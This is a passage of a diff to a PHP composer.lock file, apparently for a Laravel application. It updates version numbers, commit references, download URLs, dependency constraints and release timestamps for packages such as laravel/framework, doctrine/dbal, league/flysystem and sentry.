- "reference": "14dde653a9ae8f38af07a0ba4921dc046235e1a0"
+ "reference": "c03e649220089f6e5a52d422e24e3f98c73e456d"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/danharrin/livewire-rate-limiting/zipball/14dde653a9ae8f38af07a0ba4921dc046235e1a0",
- "reference": "14dde653a9ae8f38af07a0ba4921dc046235e1a0",
+ "url": "https://api.github.com/repos/danharrin/livewire-rate-limiting/zipball/c03e649220089f6e5a52d422e24e3f98c73e456d",
+ "reference": "c03e649220089f6e5a52d422e24e3f98c73e456d",
"shasum": ""
},
"require": {
- "illuminate/support": "^9.0|^10.0|^11.0|^12.0",
+ "illuminate/support": "^9.0|^10.0|^11.0|^12.0|^13.0",
"php": "^8.0"
},
"require-dev": {
"livewire/livewire": "^3.0",
"livewire/volt": "^1.3",
- "orchestra/testbench": "^7.0|^8.0|^9.0|^10.0",
- "phpunit/phpunit": "^9.0|^10.0|^11.5.3"
+ "orchestra/testbench": "^7.0|^8.0|^9.0|^10.0|^11.0",
+ "phpunit/phpunit": "^9.0|^10.0|^11.5.3|^12.5.12"
},
"type": "library",
"autoload": {
@@ -393,7 +393,7 @@
"type": "github"
}
],
- "time": "2025-02-21T08:52:11+00:00"
+ "time": "2026-03-16T11:29:23+00:00"
},
{
"name": "dasprid/enum",
@@ -522,16 +522,16 @@
},
{
"name": "doctrine/dbal",
- "version": "4.4.2",
+ "version": "4.4.3",
"source": {
"type": "git",
"url": "https://github.com/doctrine/dbal.git",
- "reference": "476f7f0fa6ea4aa5364926db7fabdf6049075722"
+ "reference": "61e730f1658814821a85f2402c945f3883407dec"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/doctrine/dbal/zipball/476f7f0fa6ea4aa5364926db7fabdf6049075722",
- "reference": "476f7f0fa6ea4aa5364926db7fabdf6049075722",
+ "url": "https://api.github.com/repos/doctrine/dbal/zipball/61e730f1658814821a85f2402c945f3883407dec",
+ "reference": "61e730f1658814821a85f2402c945f3883407dec",
"shasum": ""
},
"require": {
@@ -608,7 +608,7 @@
],
"support": {
"issues": "https://github.com/doctrine/dbal/issues",
- "source": "https://github.com/doctrine/dbal/tree/4.4.2"
+ "source": "https://github.com/doctrine/dbal/tree/4.4.3"
},
"funding": [
{
@@ -624,7 +624,7 @@
"type": "tidelift"
}
],
- "time": "2026-02-26T12:12:19+00:00"
+ "time": "2026-03-20T08:52:12+00:00"
},
{
"name": "doctrine/deprecations",
@@ -1440,16 +1440,16 @@
},
{
"name": "guzzlehttp/psr7",
- "version": "2.8.0",
+ "version": "2.9.0",
"source": {
"type": "git",
"url": "https://github.com/guzzle/psr7.git",
- "reference": "21dc724a0583619cd1652f673303492272778051"
+ "reference": "7d0ed42f28e42d61352a7a79de682e5e67fec884"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/guzzle/psr7/zipball/21dc724a0583619cd1652f673303492272778051",
- "reference": "21dc724a0583619cd1652f673303492272778051",
+ "url": "https://api.github.com/repos/guzzle/psr7/zipball/7d0ed42f28e42d61352a7a79de682e5e67fec884",
+ "reference": "7d0ed42f28e42d61352a7a79de682e5e67fec884",
"shasum": ""
},
"require": {
@@ -1465,6 +1465,7 @@
"require-dev": {
"bamarni/composer-bin-plugin": "^1.8.2",
"http-interop/http-factory-tests": "0.9.0",
+ "jshttp/mime-db": "1.54.0.1",
"phpunit/phpunit": "^8.5.44 || ^9.6.25"
},
"suggest": {
@@ -1536,7 +1537,7 @@
],
"support": {
"issues": "https://github.com/guzzle/psr7/issues",
- "source": "https://github.com/guzzle/psr7/tree/2.8.0"
+ "source": "https://github.com/guzzle/psr7/tree/2.9.0"
},
"funding": [
{
@@ -1552,7 +1553,7 @@
"type": "tidelift"
}
],
- "time": "2025-08-23T21:21:41+00:00"
+ "time": "2026-03-10T16:41:02+00:00"
},
{
"name": "guzzlehttp/uri-template",
@@ -1702,16 +1703,16 @@
},
{
"name": "laravel/fortify",
- "version": "v1.35.0",
+ "version": "v1.36.2",
"source": {
"type": "git",
"url": "https://github.com/laravel/fortify.git",
- "reference": "24c5bb81ea4787e0865c4a62f054ed7d1cb7a093"
+ "reference": "b36e0782e6f5f6cfbab34327895a63b7c4c031f9"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/fortify/zipball/24c5bb81ea4787e0865c4a62f054ed7d1cb7a093",
- "reference": "24c5bb81ea4787e0865c4a62f054ed7d1cb7a093",
+ "url": "https://api.github.com/repos/laravel/fortify/zipball/b36e0782e6f5f6cfbab34327895a63b7c4c031f9",
+ "reference": "b36e0782e6f5f6cfbab34327895a63b7c4c031f9",
"shasum": ""
},
"require": {
@@ -1761,20 +1762,20 @@
"issues": "https://github.com/laravel/fortify/issues",
"source": "https://github.com/laravel/fortify"
},
- "time": "2026-02-24T14:00:44+00:00"
+ "time": "2026-03-20T20:13:51+00:00"
},
{
"name": "laravel/framework",
- "version": "v12.53.0",
+ "version": "v12.55.1",
"source": {
"type": "git",
"url": "https://github.com/laravel/framework.git",
- "reference": "f57f035c0d34503d9ff30be76159bb35a003cd1f"
+ "reference": "6d9185a248d101b07eecaf8fd60b18129545fd33"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/framework/zipball/f57f035c0d34503d9ff30be76159bb35a003cd1f",
- "reference": "f57f035c0d34503d9ff30be76159bb35a003cd1f",
+ "url": "https://api.github.com/repos/laravel/framework/zipball/6d9185a248d101b07eecaf8fd60b18129545fd33",
+ "reference": "6d9185a248d101b07eecaf8fd60b18129545fd33",
"shasum": ""
},
"require": {
@@ -1795,7 +1796,7 @@
"guzzlehttp/uri-template": "^1.0",
"laravel/prompts": "^0.3.0",
"laravel/serializable-closure": "^1.3|^2.0",
- "league/commonmark": "^2.7",
+ "league/commonmark": "^2.8.1",
"league/flysystem": "^3.25.1",
"league/flysystem-local": "^3.25.1",
"league/uri": "^7.5.1",
@@ -1890,7 +1891,7 @@
"orchestra/testbench-core": "^10.9.0",
"pda/pheanstalk": "^5.0.6|^7.0.0",
"php-http/discovery": "^1.15",
- "phpstan/phpstan": "^2.0",
+ "phpstan/phpstan": "^2.1.41",
"phpunit/phpunit": "^10.5.35|^11.5.3|^12.0.1",
"predis/predis": "^2.3|^3.0",
"resend/resend-php": "^0.10.0|^1.0",
@@ -1983,20 +1984,20 @@
"issues": "https://github.com/laravel/framework/issues",
"source": "https://github.com/laravel/framework"
},
- "time": "2026-02-24T14:35:15+00:00"
+ "time": "2026-03-18T14:28:59+00:00"
},
{
"name": "laravel/horizon",
- "version": "v5.45.0",
+ "version": "v5.45.4",
"source": {
"type": "git",
"url": "https://github.com/laravel/horizon.git",
- "reference": "7126ddf27fe9750c43ab0b567085dee3917d0510"
+ "reference": "b2b32e3f6013081e0176307e9081cd085f0ad4d6"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/horizon/zipball/7126ddf27fe9750c43ab0b567085dee3917d0510",
- "reference": "7126ddf27fe9750c43ab0b567085dee3917d0510",
+ "url": "https://api.github.com/repos/laravel/horizon/zipball/b2b32e3f6013081e0176307e9081cd085f0ad4d6",
+ "reference": "b2b32e3f6013081e0176307e9081cd085f0ad4d6",
"shasum": ""
},
"require": {
@@ -2061,9 +2062,9 @@
],
"support": {
"issues": "https://github.com/laravel/horizon/issues",
- "source": "https://github.com/laravel/horizon/tree/v5.45.0"
+ "source": "https://github.com/laravel/horizon/tree/v5.45.4"
},
- "time": "2026-02-21T14:20:09+00:00"
+ "time": "2026-03-18T14:14:59+00:00"
},
{
"name": "laravel/nightwatch",
@@ -2241,16 +2242,16 @@
},
{
"name": "laravel/prompts",
- "version": "v0.3.13",
+ "version": "v0.3.16",
"source": {
"type": "git",
"url": "https://github.com/laravel/prompts.git",
- "reference": "ed8c466571b37e977532fb2fd3c272c784d7050d"
+ "reference": "11e7d5f93803a2190b00e145142cb00a33d17ad2"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/prompts/zipball/ed8c466571b37e977532fb2fd3c272c784d7050d",
- "reference": "ed8c466571b37e977532fb2fd3c272c784d7050d",
+ "url": "https://api.github.com/repos/laravel/prompts/zipball/11e7d5f93803a2190b00e145142cb00a33d17ad2",
+ "reference": "11e7d5f93803a2190b00e145142cb00a33d17ad2",
"shasum": ""
},
"require": {
@@ -2294,9 +2295,9 @@
"description": "Add beautiful and user-friendly forms to your command-line applications.",
"support": {
"issues": "https://github.com/laravel/prompts/issues",
- "source": "https://github.com/laravel/prompts/tree/v0.3.13"
+ "source": "https://github.com/laravel/prompts/tree/v0.3.16"
},
- "time": "2026-02-06T12:17:10+00:00"
+ "time": "2026-03-23T14:35:33+00:00"
},
{
"name": "laravel/sanctum",
@@ -2483,16 +2484,16 @@
},
{
"name": "laravel/socialite",
- "version": "v5.24.3",
+ "version": "v5.26.0",
"source": {
"type": "git",
"url": "https://github.com/laravel/socialite.git",
- "reference": "0feb62267e7b8abc68593ca37639ad302728c129"
+ "reference": "1d26f0c653a5f0e88859f4197830a29fe0cc59d0"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/socialite/zipball/0feb62267e7b8abc68593ca37639ad302728c129",
- "reference": "0feb62267e7b8abc68593ca37639ad302728c129",
+ "url": "https://api.github.com/repos/laravel/socialite/zipball/1d26f0c653a5f0e88859f4197830a29fe0cc59d0",
+ "reference": "1d26f0c653a5f0e88859f4197830a29fe0cc59d0",
"shasum": ""
},
"require": {
@@ -2551,7 +2552,7 @@
"issues": "https://github.com/laravel/socialite/issues",
"source": "https://github.com/laravel/socialite"
},
- "time": "2026-02-21T13:32:50+00:00"
+ "time": "2026-03-24T18:37:47+00:00"
},
{
"name": "laravel/tinker",
@@ -2621,29 +2622,29 @@
},
{
"name": "laravel/ui",
- "version": "v4.6.1",
+ "version": "v4.6.3",
"source": {
"type": "git",
"url": "https://github.com/laravel/ui.git",
- "reference": "7d6ffa38d79f19c9b3e70a751a9af845e8f41d88"
+ "reference": "ff27db15416c1ed8ad9848f5692e47595dd5de27"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/laravel/ui/zipball/7d6ffa38d79f19c9b3e70a751a9af845e8f41d88",
- "reference": "7d6ffa38d79f19c9b3e70a751a9af845e8f41d88",
+ "url": "https://api.github.com/repos/laravel/ui/zipball/ff27db15416c1ed8ad9848f5692e47595dd5de27",
+ "reference": "ff27db15416c1ed8ad9848f5692e47595dd5de27",
"shasum": ""
},
"require": {
- "illuminate/console": "^9.21|^10.0|^11.0|^12.0",
- "illuminate/filesystem": "^9.21|^10.0|^11.0|^12.0",
- "illuminate/support": "^9.21|^10.0|^11.0|^12.0",
- "illuminate/validation": "^9.21|^10.0|^11.0|^12.0",
+ "illuminate/console": "^9.21|^10.0|^11.0|^12.0|^13.0",
+ "illuminate/filesystem": "^9.21|^10.0|^11.0|^12.0|^13.0",
+ "illuminate/support": "^9.21|^10.0|^11.0|^12.0|^13.0",
+ "illuminate/validation": "^9.21|^10.0|^11.0|^12.0|^13.0",
"php": "^8.0",
- "symfony/console": "^6.0|^7.0"
+ "symfony/console": "^6.0|^7.0|^8.0"
},
"require-dev": {
- "orchestra/testbench": "^7.35|^8.15|^9.0|^10.0",
- "phpunit/phpunit": "^9.3|^10.4|^11.5"
+ "orchestra/testbench": "^7.35|^8.15|^9.0|^10.0|^11.0",
+ "phpunit/phpunit": "^9.3|^10.4|^11.5|^12.5|^13.0"
},
"type": "library",
"extra": {
@@ -2678,9 +2679,9 @@
"ui"
],
"support": {
- "source": "https://github.com/laravel/ui/tree/v4.6.1"
+ "source": "https://github.com/laravel/ui/tree/v4.6.3"
},
- "time": "2025-01-28T15:15:29+00:00"
+ "time": "2026-03-17T13:41:52+00:00"
},
{
"name": "lcobucci/jwt",
@@ -2757,16 +2758,16 @@
},
{
"name": "league/commonmark",
- "version": "2.8.1",
+ "version": "2.8.2",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/commonmark.git",
- "reference": "84b1ca48347efdbe775426f108622a42735a6579"
+ "reference": "59fb075d2101740c337c7216e3f32b36c204218b"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/84b1ca48347efdbe775426f108622a42735a6579",
- "reference": "84b1ca48347efdbe775426f108622a42735a6579",
+ "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/59fb075d2101740c337c7216e3f32b36c204218b",
+ "reference": "59fb075d2101740c337c7216e3f32b36c204218b",
"shasum": ""
},
"require": {
@@ -2860,7 +2861,7 @@
"type": "tidelift"
}
],
- "time": "2026-03-05T21:37:03+00:00"
+ "time": "2026-03-19T13:16:38+00:00"
},
{
"name": "league/config",
@@ -2946,16 +2947,16 @@
},
{
"name": "league/flysystem",
- "version": "3.32.0",
+ "version": "3.33.0",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/flysystem.git",
- "reference": "254b1595b16b22dbddaaef9ed6ca9fdac4956725"
+ "reference": "570b8871e0ce693764434b29154c54b434905350"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/254b1595b16b22dbddaaef9ed6ca9fdac4956725",
- "reference": "254b1595b16b22dbddaaef9ed6ca9fdac4956725",
+ "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/570b8871e0ce693764434b29154c54b434905350",
+ "reference": "570b8871e0ce693764434b29154c54b434905350",
"shasum": ""
},
"require": {
@@ -3023,9 +3024,9 @@
],
"support": {
"issues": "https://github.com/thephpleague/flysystem/issues",
- "source": "https://github.com/thephpleague/flysystem/tree/3.32.0"
+ "source": "https://github.com/thephpleague/flysystem/tree/3.33.0"
},
- "time": "2026-02-25T17:01:41+00:00"
+ "time": "2026-03-25T07:59:30+00:00"
},
{
"name": "league/flysystem-aws-s3-v3",
@@ -3133,16 +3134,16 @@
},
{
"name": "league/flysystem-sftp-v3",
- "version": "3.31.0",
+ "version": "3.33.0",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/flysystem-sftp-v3.git",
- "reference": "f01dd8d66e98b20608846963cc790c2b698e8b03"
+ "reference": "34ff5ef0f841add92e2b902c1005f72135b03646"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/thephpleague/flysystem-sftp-v3/zipball/f01dd8d66e98b20608846963cc790c2b698e8b03",
- "reference": "f01dd8d66e98b20608846963cc790c2b698e8b03",
+ "url": "https://api.github.com/repos/thephpleague/flysystem-sftp-v3/zipball/34ff5ef0f841add92e2b902c1005f72135b03646",
+ "reference": "34ff5ef0f841add92e2b902c1005f72135b03646",
"shasum": ""
},
"require": {
@@ -3176,9 +3177,9 @@
"sftp"
],
"support": {
- "source": "https://github.com/thephpleague/flysystem-sftp-v3/tree/3.31.0"
+ "source": "https://github.com/thephpleague/flysystem-sftp-v3/tree/3.33.0"
},
- "time": "2026-01-23T15:30:45+00:00"
+ "time": "2026-03-20T13:22:31+00:00"
},
{
"name": "league/mime-type-detection",
@@ -3314,20 +3315,20 @@
},
{
"name": "league/uri",
- "version": "7.8.0",
+ "version": "7.8.1",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/uri.git",
- "reference": "4436c6ec8d458e4244448b069cc572d088230b76"
+ "reference": "08cf38e3924d4f56238125547b5720496fac8fd4"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/thephpleague/uri/zipball/4436c6ec8d458e4244448b069cc572d088230b76",
- "reference": "4436c6ec8d458e4244448b069cc572d088230b76",
+ "url": "https://api.github.com/repos/thephpleague/uri/zipball/08cf38e3924d4f56238125547b5720496fac8fd4",
+ "reference": "08cf38e3924d4f56238125547b5720496fac8fd4",
"shasum": ""
},
"require": {
- "league/uri-interfaces": "^7.8",
+ "league/uri-interfaces": "^7.8.1",
"php": "^8.1",
"psr/http-factory": "^1"
},
@@ -3400,7 +3401,7 @@
"docs": "https://uri.thephpleague.com",
"forum": "https://thephpleague.slack.com",
"issues": "https://github.com/thephpleague/uri-src/issues",
- "source": "https://github.com/thephpleague/uri/tree/7.8.0"
+ "source": "https://github.com/thephpleague/uri/tree/7.8.1"
},
"funding": [
{
@@ -3408,20 +3409,20 @@
"type": "github"
}
],
- "time": "2026-01-14T17:24:56+00:00"
+ "time": "2026-03-15T20:22:25+00:00"
},
{
"name": "league/uri-interfaces",
- "version": "7.8.0",
+ "version": "7.8.1",
"source": {
"type": "git",
"url": "https://github.com/thephpleague/uri-interfaces.git",
- "reference": "c5c5cd056110fc8afaba29fa6b72a43ced42acd4"
+ "reference": "85d5c77c5d6d3af6c54db4a78246364908f3c928"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/thephpleague/uri-interfaces/zipball/c5c5cd056110fc8afaba29fa6b72a43ced42acd4",
- "reference": "c5c5cd056110fc8afaba29fa6b72a43ced42acd4",
+ "url": "https://api.github.com/repos/thephpleague/uri-interfaces/zipball/85d5c77c5d6d3af6c54db4a78246364908f3c928",
+ "reference": "85d5c77c5d6d3af6c54db4a78246364908f3c928",
"shasum": ""
},
"require": {
@@ -3484,7 +3485,7 @@
"docs": "https://uri.thephpleague.com",
"forum": "https://thephpleague.slack.com",
"issues": "https://github.com/thephpleague/uri-src/issues",
- "source": "https://github.com/thephpleague/uri-interfaces/tree/7.8.0"
+ "source": "https://github.com/thephpleague/uri-interfaces/tree/7.8.1"
},
"funding": [
{
@@ -3492,7 +3493,7 @@
"type": "github"
}
],
- "time": "2026-01-15T06:54:53+00:00"
+ "time": "2026-03-08T20:05:35+00:00"
},
{
"name": "livewire/livewire",
@@ -3634,27 +3635,27 @@
},
{
"name": "lorisleiva/laravel-actions",
- "version": "v2.9.1",
+ "version": "v2.10.1",
"source": {
"type": "git",
"url": "https://github.com/lorisleiva/laravel-actions.git",
- "reference": "11c2531366ca8bd5efcd0afc9e8047e7999926ff"
+ "reference": "1cb9fd448c655ae90ac93c77be0c10cb57cf27d5"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/lorisleiva/laravel-actions/zipball/11c2531366ca8bd5efcd0afc9e8047e7999926ff",
- "reference": "11c2531366ca8bd5efcd0afc9e8047e7999926ff",
+ "url": "https://api.github.com/repos/lorisleiva/laravel-actions/zipball/1cb9fd448c655ae90ac93c77be0c10cb57cf27d5",
+ "reference": "1cb9fd448c655ae90ac93c77be0c10cb57cf27d5",
"shasum": ""
},
"require": {
- "illuminate/contracts": "^10.0|^11.0|^12.0",
- "lorisleiva/lody": "^0.6",
- "php": "^8.1"
+ "illuminate/contracts": "^11.0|^12.0|^13.0",
+ "lorisleiva/lody": "^0.7",
+ "php": "^8.2"
},
"require-dev": {
- "orchestra/testbench": "^10.0",
- "pestphp/pest": "^2.34|^3.0",
- "phpunit/phpunit": "^10.5|^11.5"
+ "orchestra/testbench": "^9.0|^10.0|^11.0",
+ "pestphp/pest": "^3.0|^4.0",
+ "phpunit/phpunit": "^11.5|^12.0"
},
"type": "library",
"extra": {
@@ -3698,7 +3699,7 @@
],
"support": {
"issues": "https://github.com/lorisleiva/laravel-actions/issues",
- "source": "https://github.com/lorisleiva/laravel-actions/tree/v2.9.1"
+ "source": "https://github.com/lorisleiva/laravel-actions/tree/v2.10.1"
},
"funding": [
{
@@ -3706,30 +3707,30 @@
"type": "github"
}
],
- "time": "2025-08-10T08:58:19+00:00"
+ "time": "2026-03-19T13:33:12+00:00"
},
{
"name": "lorisleiva/lody",
- "version": "v0.6.0",
+ "version": "v0.7.0",
"source": {
"type": "git",
"url": "https://github.com/lorisleiva/lody.git",
- "reference": "6bada710ebc75f06fdf62db26327be1592c4f014"
+ "reference": "82ecb6faa55fb20109e6959f42f0f652cd77674b"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/lorisleiva/lody/zipball/6bada710ebc75f06fdf62db26327be1592c4f014",
- "reference": "6bada710ebc75f06fdf62db26327be1592c4f014",
+ "url": "https://api.github.com/repos/lorisleiva/lody/zipball/82ecb6faa55fb20109e6959f42f0f652cd77674b",
+ "reference": "82ecb6faa55fb20109e6959f42f0f652cd77674b",
"shasum": ""
},
"require": {
- "illuminate/contracts": "^10.0|^11.0|^12.0",
- "php": "^8.1"
+ "illuminate/contracts": "^11.0|^12.0|^13.0",
+ "php": "^8.2"
},
"require-dev": {
- "orchestra/testbench": "^10.0",
- "pestphp/pest": "^2.34|^3.0",
- "phpunit/phpunit": "^10.5|^11.5"
+ "orchestra/testbench": "^9.0|^10.0|^11.0",
+ "pestphp/pest": "^3.0|^4.0",
+ "phpunit/phpunit": "^11.5|^12.0"
},
"type": "library",
"extra": {
@@ -3770,7 +3771,7 @@
],
"support": {
"issues": "https://github.com/lorisleiva/lody/issues",
- "source": "https://github.com/lorisleiva/lody/tree/v0.6.0"
+ "source": "https://github.com/lorisleiva/lody/tree/v0.7.0"
},
"funding": [
{
@@ -3778,7 +3779,7 @@
"type": "github"
}
],
- "time": "2025-03-01T19:21:17+00:00"
+ "time": "2026-03-18T12:49:31+00:00"
},
{
"name": "monolog/monolog",
@@ -3951,16 +3952,16 @@
},
{
"name": "nesbot/carbon",
- "version": "3.11.1",
+ "version": "3.11.3",
"source": {
"type": "git",
"url": "https://github.com/CarbonPHP/carbon.git",
- "reference": "f438fcc98f92babee98381d399c65336f3a3827f"
+ "reference": "6a7e652845bb018c668220c2a545aded8594fbbf"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/f438fcc98f92babee98381d399c65336f3a3827f",
- "reference": "f438fcc98f92babee98381d399c65336f3a3827f",
+ "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/6a7e652845bb018c668220c2a545aded8594fbbf",
+ "reference": "6a7e652845bb018c668220c2a545aded8594fbbf",
"shasum": ""
},
"require": {
@@ -4052,7 +4053,7 @@
"type": "tidelift"
}
],
- "time": "2026-01-29T09:26:29+00:00"
+ "time": "2026-03-11T17:23:39+00:00"
},
{
"name": "nette/schema",
@@ -4958,16 +4959,16 @@
},
{
"name": "phpdocumentor/reflection-docblock",
- "version": "5.6.6",
+ "version": "5.6.7",
"source": {
"type": "git",
"url": "https://github.com/phpDocumentor/ReflectionDocBlock.git",
- "reference": "5cee1d3dfc2d2aa6599834520911d246f656bcb8"
+ "reference": "31a105931bc8ffa3a123383829772e832fd8d903"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/5cee1d3dfc2d2aa6599834520911d246f656bcb8",
- "reference": "5cee1d3dfc2d2aa6599834520911d246f656bcb8",
+ "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/31a105931bc8ffa3a123383829772e832fd8d903",
+ "reference": "31a105931bc8ffa3a123383829772e832fd8d903",
"shasum": ""
},
"require": {
@@ -5016,9 +5017,9 @@
"description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.",
"support": {
"issues": "https://github.com/phpDocumentor/ReflectionDocBlock/issues",
- "source": "https://github.com/phpDocumentor/ReflectionDocBlock/tree/5.6.6"
+ "source": "https://github.com/phpDocumentor/ReflectionDocBlock/tree/5.6.7"
},
- "time": "2025-12-22T21:13:58+00:00"
+ "time": "2026-03-18T20:47:46+00:00"
},
{
"name": "phpdocumentor/type-resolver",
@@ -5155,16 +5156,16 @@
},
{
"name": "phpseclib/phpseclib",
- "version": "3.0.49",
+ "version": "3.0.50",
"source": {
"type": "git",
"url": "https://github.com/phpseclib/phpseclib.git",
- "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9"
+ "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/6233a1e12584754e6b5daa69fe1289b47775c1b9",
- "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9",
+ "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/aa6ad8321ed103dc3624fb600a25b66ebf78ec7b",
+ "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b",
"shasum": ""
},
"require": {
@@ -5245,7 +5246,7 @@
],
"support": {
"issues": "https://github.com/phpseclib/phpseclib/issues",
- "source": "https://github.com/phpseclib/phpseclib/tree/3.0.49"
+ "source": "https://github.com/phpseclib/phpseclib/tree/3.0.50"
},
"funding": [
{
@@ -5261,7 +5262,7 @@
"type": "tidelift"
}
],
- "time": "2026-01-27T09:17:28+00:00"
+ "time": "2026-03-19T02:57:58+00:00"
},
{
"name": "phpstan/phpdoc-parser",
@@ -5378,16 +5379,16 @@
},
{
"name": "poliander/cron",
- "version": "3.3.0",
+ "version": "3.3.1",
"source": {
"type": "git",
"url": "https://github.com/poliander/cron.git",
- "reference": "13892a8d7f90c7e93947f21e115037b6a0d979bd"
+ "reference": "8b6fc91b86de3d973f6ea16eda846f522ed1ce7a"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/poliander/cron/zipball/13892a8d7f90c7e93947f21e115037b6a0d979bd",
- "reference": "13892a8d7f90c7e93947f21e115037b6a0d979bd",
+ "url": "https://api.github.com/repos/poliander/cron/zipball/8b6fc91b86de3d973f6ea16eda846f522ed1ce7a",
+ "reference": "8b6fc91b86de3d973f6ea16eda846f522ed1ce7a",
"shasum": ""
},
"require": {
@@ -5416,9 +5417,9 @@
"homepage": "https://github.com/poliander/cron",
"support": {
"issues": "https://github.com/poliander/cron/issues",
- "source": "https://github.com/poliander/cron/tree/3.3.0"
+ "source": "https://github.com/poliander/cron/tree/3.3.1"
},
- "time": "2025-11-23T17:30:50+00:00"
+ "time": "2026-03-05T19:37:26+00:00"
},
{
"name": "pragmarx/google2fa",
@@ -5935,16 +5936,16 @@
},
{
"name": "psy/psysh",
- "version": "v0.12.20",
+ "version": "v0.12.22",
"source": {
"type": "git",
"url": "https://github.com/bobthecow/psysh.git",
- "reference": "19678eb6b952a03b8a1d96ecee9edba518bb0373"
+ "reference": "3be75d5b9244936dd4ac62ade2bfb004d13acf0f"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/bobthecow/psysh/zipball/19678eb6b952a03b8a1d96ecee9edba518bb0373",
- "reference": "19678eb6b952a03b8a1d96ecee9edba518bb0373",
+ "url": "https://api.github.com/repos/bobthecow/psysh/zipball/3be75d5b9244936dd4ac62ade2bfb004d13acf0f",
+ "reference": "3be75d5b9244936dd4ac62ade2bfb004d13acf0f",
"shasum": ""
},
"require": {
@@ -6008,9 +6009,9 @@
],
"support": {
"issues": "https://github.com/bobthecow/psysh/issues",
- "source": "https://github.com/bobthecow/psysh/tree/v0.12.20"
+ "source": "https://github.com/bobthecow/psysh/tree/v0.12.22"
},
- "time": "2026-02-11T15:05:28+00:00"
+ "time": "2026-03-22T23:03:24+00:00"
},
{
"name": "purplepixie/phpdns",
@@ -6447,16 +6448,16 @@
},
{
"name": "sentry/sentry",
- "version": "4.21.0",
+ "version": "4.23.0",
"source": {
"type": "git",
"url": "https://github.com/getsentry/sentry-php.git",
- "reference": "2bf405fc4d38f00073a7d023cf321e59f614d54c"
+ "reference": "121a674d5fffcdb8e414b75c1b76edba8e592b66"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/2bf405fc4d38f00073a7d023cf321e59f614d54c",
- "reference": "2bf405fc4d38f00073a7d023cf321e59f614d54c",
+ "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/121a674d5fffcdb8e414b75c1b76edba8e592b66",
+ "reference": "121a674d5fffcdb8e414b75c1b76edba8e592b66",
"shasum": ""
},
"require": {
@@ -6478,12 +6479,14 @@
"guzzlehttp/psr7": "^1.8.4|^2.1.1",
"monolog/monolog": "^1.6|^2.0|^3.0",
"nyholm/psr7": "^1.8",
+ "open-telemetry/api": "^1.0",
+ "open-telemetry/exporter-otlp": "^1.0",
+ "open-telemetry/sdk": "^1.0",
"phpbench/phpbench": "^1.0",
"phpstan/phpstan": "^1.3",
"phpunit/phpunit": "^8.5.52|^9.6.34",
"spiral/roadrunner-http": "^3.6",
- "spiral/roadrunner-worker": "^3.6",
- "vimeo/psalm": "^4.17"
+ "spiral/roadrunner-worker": "^3.6"
},
"suggest": {
"monolog/monolog": "Allow sending log messages to Sentry by using the included Monolog handler."
@@ -6522,7 +6525,7 @@
],
"support": {
"issues": "https://github.com/getsentry/sentry-php/issues",
- "source": "https://github.com/getsentry/sentry-php/tree/4.21.0"
+ "source": "https://github.com/getsentry/sentry-php/tree/4.23.0"
},
"funding": [
{
@@ -6534,38 +6537,39 @@
"type": "custom"
}
],
- "time": "2026-02-24T15:32:51+00:00"
+ "time": "2026-03-23T13:15:52+00:00"
},
{
"name": "sentry/sentry-laravel",
- "version": "4.21.0",
+ "version": "4.24.0",
"source": {
"type": "git",
"url": "https://github.com/getsentry/sentry-laravel.git",
- "reference": "4b939116c2d3c5de328f23a5f1dfb97b40e0c17b"
+ "reference": "f823bd85e38e06cb4f1b7a82d48a2fc95320b31d"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/4b939116c2d3c5de328f23a5f1dfb97b40e0c17b",
- "reference": "4b939116c2d3c5de328f23a5f1dfb97b40e0c17b",
+ "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/f823bd85e38e06cb4f1b7a82d48a2fc95320b31d",
+ "reference": "f823bd85e38e06cb4f1b7a82d48a2fc95320b31d",
"shasum": ""
},
"require": {
- "illuminate/support": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0",
+ "illuminate/support": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0 | ^13.0",
"nyholm/psr7": "^1.0",
"php": "^7.2 | ^8.0",
- "sentry/sentry": "^4.21.0",
+ "sentry/sentry": "^4.23.0",
